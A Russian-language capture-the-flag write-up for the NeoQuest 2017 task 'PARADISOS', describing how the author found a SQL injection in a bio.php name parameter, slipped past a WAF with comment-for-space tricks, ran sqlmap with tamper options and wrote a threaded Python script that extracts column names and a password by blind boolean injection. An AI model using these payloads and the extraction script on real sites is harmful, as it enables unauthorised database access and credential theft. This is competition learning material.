Пару дней назад завершился очередной отборочный online-этап ежегодного соревнования по кибербезопасности — NeoQuest2017. Выражаю особую благодарность организаторам: с каждым годом история всё увлекательнее, а задания сложнее!
А эта статья будет посвящена разбору девятого задания: PARADISOS
«В ПОИСКЕ ЗЕМЛЯН»
Добравшись до корабля потерпевшей бедствие экспедиции, мы не обнаружили там никого – по-видимому, ребятам удалось выбраться. Вот только где теперь их искать? Теоретически, они могли добраться до планеты Paradisos, последней из еще не посещённых нами.
Эта планета – райское местечко: чудесный климат, дружелюбные обитатели, радостно встретившие нас цветами и странными фруктами, весёлая музыка и куча довольных инопланетян всех знакомых и незнакомых нам рас. Парящие в воздухе мини-отели, рекламные щиты на разных языках (включая земной английский). Нас торжественно проводили в прекрасный отель, пообещав полное содействие по поиску членов экспедиции и по обмену знаниями о наших планетах. Нам удалось узнать, что ребята действительно были здесь и даже создали свой сайт, на котором каждый из них делал записи о космическом путешествии.
Адрес сайта сохранился, но мы увидели там имена только четверых исследователей. Оказалось, что ушлые инопланетяне требуют денег за доступ к полной информации. Платить мы, конечно, не будем. Попробуем «хакнуть»!
К заданию прилагается адрес сайта, который выглядит подобным образом:
Первым делом мы разберёмся откуда берётся текст к биографии каждого из «исследователей»:
$("#DanielButton").click(function(){
$.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){
$("#ScientistBio").html(result);
$("#Avatar").show();
$("#Avatar").attr("src", "img/lava.png");
}});
});
Идём по ссылке: "./bio/bio.php?name=Daniel" и видим текст биографии. Логично! Первая мысль, которая посетила меня на этой странице (а я надеюсь, что и тебя, %username%, тоже) — попробовать SQL Injection в параметр name.
Пробуем:
name=Daniel'+or+1=1+--+1
А нам в ответ:
Forbidden
You don't have permission to access /bio/bio.php on this server.
Значит сайт защищен WAF. Что же, это уже интереснее: значит есть что защищать!
Опытным путём было установлено: «information_scheme», «database()», «SELECT *», «UNION» — запрещены для использования. Идём далее…
Пробуем:
name=Dan'+'i'+'el
И нам в ответ приходит текст его биографии.
Значит пробел работает в виде конкатенации. Попробуем иначе:
name=Daniel'+or/**_**/1=1+--+1
Бинго! В ответе нам вывелась биография всех шести исследователей (а не 4, как на главной странице): Roy, Ohad, Naomi, Daniel, Baldric и Sigizmund.
Биография последнего гласит: " Like ctf and space! "
Однако, нигде нет ключа. Значит нужно забить копать глубже!
Мною было принято решение расчехлять тяжелую артиллерию: sqlmap ¯_(ツ)_/¯
После первых N попыток завести тырчок подцепиться к SQLi меня ожидало фиаско: sqlmap ни в какую не видит вектора, а в ответ ему сыпятся многочисленные: «403 Forbidden».
Правильно настроив техники обхода WAF (нужно было использовать ЭТО, но я же дурной решил написать свой, используя ту же самую технику, добавив лишь в начало и конец нужные PREFIX и SUFFIX), у нормальных людей могло бы выглядеть так:
sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"
PWNED:
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1' OR 228=228 -- 1
Vector: OR [INFERENCE]
Однако, радоваться было рано: sqlmap упорно использовал запрещённые к употреблению «словечки» и максимум, что можно было сделать — использовать sql-shell:
В любом случае, мои догадки подтвердились — BBbSQLi. Вспомнив пару уроков «Очумелые ручки» было создано это:
#!/usr/bin/python3
import requests
from multiprocessing.dummy import Pool as ThreadPool
import sys
import subprocess
import time
pool = ThreadPool(101)
pos = 1
passwd = ''
def getSockCount():
proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = proc.communicate()[0]
return int(output.decode())
# Send SQL Request
def connect(sql):
url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1"
req = requests.get(url % sql.replace(' ', '/** **/'))
if 'Hello! My name is' in req.text:
return True
return False
def findColumns(item):
if item.isdigit():
return
sql = "%s>'0'" % item
if connect(sql):
print('Column: %s' % item)
def getFieldValue(item):
global passwd
sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item)
if connect(sql):
passwd += item
alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\', '|', '?', '/']
# Brute Columns
if len(sys.argv) > 0:
tables = open(sys.argv[1]).read().splitlines()
chunk_size = max([len(x) for x in tables])
while True:
pool.map(findColumns, tables)
while getSockCount() > 2:
time.sleep(1)
# слепой перебор символов в поле
else:
while True:
pool.map(getFieldValue, alph)
while getSockCount() > 2:
time.sleep(1)
pos += 1
print(passwd)
Используя данный скрипт были получены поля: «id» и «password». Решено было начать «брут» с пользователя «id=6» (aka «Sigizmund»). В итоге, это выглядело как-то так:
В конце концов, человеки победили! Флаг: 14eb6641da38addf613424f5cd05357ce261c305
Автор: hackzard